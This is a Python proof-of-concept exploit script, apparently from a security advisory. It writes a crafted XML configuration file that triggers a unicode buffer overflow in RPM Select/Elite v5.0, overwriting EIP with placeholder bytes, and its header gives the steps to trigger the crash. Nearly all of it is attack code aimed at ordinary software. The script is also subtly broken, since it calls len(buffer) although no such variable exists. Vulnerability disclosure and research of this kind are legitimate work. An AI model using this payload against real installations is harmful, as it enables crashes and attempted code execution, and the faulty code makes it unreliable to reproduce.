101 lines
No EOL
3.7 KiB
Python
Executable file
101 lines
No EOL
3.7 KiB
Python
Executable file
#!/usr/bin/python
|
|
# ####################################################################
|
|
# RPM Select/Elite v5.0 (.xml config parsing) unicode buffer overflow PoC
|
|
# Found by: mr_me - http://net-ninja.net/
|
|
# Homepage: http://lpd.brooksnet.com/
|
|
# Download: http://www.brooksnet.com/download-rpmselect
|
|
# Tested on: Windows XP SP3
|
|
# Advisory: http://www.corelan.be:8800/advisories.php?id=10-024
|
|
# Greetz: Corelan Security Team
|
|
# http://www.corelan.be:8800/index.php/security/corelan-team-members/
|
|
# ####################################################################
|
|
# Notes: We overwrite EIP @ 32 bytes in, and the function doesnt copy
|
|
# enough of our string to hit SEH. However modules are compiled with
|
|
# SAFESEH anyway. Combine that with unicode and the printable ascii
|
|
# limitations, we are presented with to much of a hurdle.
|
|
# ####################################################################
|
|
# How to trigger the crash:
|
|
# file -> import configuration
|
|
# Click on the queue name, then click on the imported transform
|
|
# Click 'modify transform' and b00m!
|
|
# ####################################################################
|
|
# Script provided 'as is', without any warranty.
|
|
# Use for educational purposes only.
|
|
# Do not use this code to do anything illegal !
|
|
# Corelan does not want anyone to use this script
|
|
# for malicious and/or illegal purposes.
|
|
# Corelan cannot be held responsible for any illegal use.
|
|
#
|
|
# Note : you are not allowed to edit/modify this code.
|
|
# If you do, Corelan cannot be held responsible for any damages.
|
|
|
|
header1 = """<RPM version="5.0.70.6">
|
|
<Queues>
|
|
<Queue>
|
|
<description>lol</description>
|
|
<seqno>0</seqno>
|
|
<enabled>1</enabled>
|
|
<actions>1</actions>
|
|
<held>0</held>
|
|
<running>0</running>
|
|
<name>mr_mes print queue</name>
|
|
<Transforms>
|
|
<Transform>
|
|
<LineWrap>0</LineWrap>
|
|
<lfPitchAndFamily>48</lfPitchAndFamily>
|
|
<lfOrientation>0</lfOrientation>
|
|
<lfFaceName>
|
|
"""
|
|
|
|
header2 = """</lfFaceName>
|
|
<lfWidth>0</lfWidth>
|
|
<UseCharsPerInch>0</UseCharsPerInch>
|
|
<lfItalic>0</lfItalic>
|
|
<UseLinesPerPage>0</UseLinesPerPage>
|
|
<lfEscapement>0</lfEscapement>
|
|
<LinesPerInch>6.000000</LinesPerInch>
|
|
<type>24</type>
|
|
<LeftMargin>0.500000</LeftMargin>
|
|
<PortraitMax>90</PortraitMax>
|
|
<CharsPerInch>10.000000</CharsPerInch>
|
|
<CharsPerLine>80</CharsPerLine>
|
|
<TopMargin>0.500000</TopMargin>
|
|
<LinesPerPage>60</LinesPerPage>
|
|
<lfQuality>2</lfQuality>
|
|
<lfStrikeOut>0</lfStrikeOut>
|
|
<lfWeight>400</lfWeight>
|
|
<FontSize>12</FontSize>
|
|
<lfUnderline>0</lfUnderline>
|
|
<BottomMargin>0.500000</BottomMargin>
|
|
<Orientation>portrait</Orientation>
|
|
<InputFormat>1252</InputFormat>
|
|
<CalcLayout>false</CalcLayout>
|
|
<UseLinesPerInch>1</UseLinesPerInch>
|
|
<RightMargin>0.500000</RightMargin>
|
|
<CtrlStrip>1</CtrlStrip>
|
|
<UseCharsPerLine>0</UseCharsPerLine>
|
|
<lfCharSet>1</lfCharSet>
|
|
<lfOutPrecision>0</lfOutPrecision>
|
|
<lfClipPrecision>0</lfClipPrecision>
|
|
<SuppressBlankPage>1</SuppressBlankPage>
|
|
<lfHeight>-16</lfHeight>
|
|
</Transform>
|
|
</Transforms>
|
|
<Jobs />
|
|
</Queue>
|
|
</Queues>
|
|
<Hosts />
|
|
</RPM>
|
|
"""
|
|
|
|
payload = "\x41" * 32
|
|
payload += "\x42\x42" # your "jmp to esp" instruction should go here
|
|
payload += "\x44" * (5000-len(buffer))
|
|
exploit = header1.rstrip() + payload.rstrip() + header2.rstrip()
|
|
try:
|
|
f=open("cst-rpm-config.xml",'w')
|
|
f.write(exploit)
|
|
f.close()
|
|
print "[+] File created successfully !"
|
|
except:
|
|
print "[-] Error cannot write xml file to system\n" |